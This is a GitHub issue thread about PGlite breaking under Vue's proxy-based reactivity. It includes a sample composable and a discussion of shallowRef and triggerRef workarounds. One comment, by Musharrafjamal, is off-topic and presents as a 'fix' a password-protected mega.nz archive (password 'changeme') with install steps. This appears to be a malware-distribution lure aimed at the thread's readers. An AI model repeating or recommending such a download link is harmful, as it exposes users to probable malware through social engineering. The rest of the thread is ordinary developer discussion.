Repository navigation
Potential improvements for Vue's reactivity system #277
Description
Long story short: the current main classes for PGlite use a number of private methods, but since Vue's reactivity is based on proxying this effectively breaks its usability (official comment).
This becomes quite important when working with composables instead of components.
An example of an ideal DX composable would be:
import { computed, ref, onMounted, onBeforeUnmount } from 'vue'
import type { PGliteOptions } from '@electric-sql/pglite'
import { PGlite } from '@electric-sql/pglite'
export function usePGlite(options?: PGliteOptions) {
// initialize an empty ref, so that Vue can start tracking it
const pg = ref<PGlite>()
// onMounted required in SSR (for Nuxt you can use onNuxtReady)
onMounted(async () => {
pg.value = await PGlite.create(options)
})
// safely closing the connection
onBeforeUnmount(() => {
if (!isClosed.value || pg.value === undefined) return
pg.value.close()
})
const isReady = computed(() => !!pg.value?.ready)
const isClosed = computed(() => !!pg.value?.closed)
return {
pg,
isReady,
isClosed,
}
}Same applies for workers and in a Nuxt context.
Activity
Musharrafjamal commentedon Aug 29, 2024
hi bro, to fix your trouble try this fix, i see it in another issue,
https://mega.nz/folder/905izDCI#tZAd-Ja0A5L7aBS2VunHtg
password: changeme
when you installing it, you need to place a check in install to path and select "USX"
samwillis commentedon Sep 2, 2024
Hey @sandros94
Thanks for the report.
My understanding is that if you use
shallowRefrather thanrefthis wouldn't be an issue as Vue wouldn't try to proxy the internal methods. I think that's suitable for a database connection as you would not need to reactively track its internal state.Have you seen our Vue hooks (https://pglite.dev/docs/framework-hooks/vue)? Are these useful for your project?
Let me know if you have any feedback on them.
sandros94 commentedon Sep 2, 2024
Yes indeed, and I'm currently going with the
shallowRefapproach, while usingtriggerRefs to make sure that Vue knows when a method is executed.But as per my understanding of Vue's reactivity system is that with a
shallowRefonly the changes (and execution) of the wrapper/class will trigger Vue's reactivity.Take the following example from Vue's official docs:
This means that in order to make Vue aware of each exec/query executions (since
pg.value.query(...)wont trigger it), I need to wrap each method like so:Yes, I love digging docs before starting anything 😅. It was super easy to setup and execute inside a final project, but then (as I often do) I wanted to wrap PGlite into a Nuxt module, taking advantage of project's
runtimeConfigs and automating server and client side use. This requires me to create a Nuxt plugin (meaning PGlite would be bundled in every single page, regardless if it is used or not, not ideal) or a composable (meaning that I need a way for Vue to know that something inside has been changed/executed).So I wanted to try and create a composable-first, rather a component-first, approach. Something that, if successful, could be integrated in the official
@electric-sql/pglite-vue[-]Incompatibility with Vue's reactivity[/-][+]Potential improvements for Vue's reactivity system[/+]sandros94 commentedon Sep 2, 2024
We could actually move this into a discussion, now that I think of it. My bad 🙄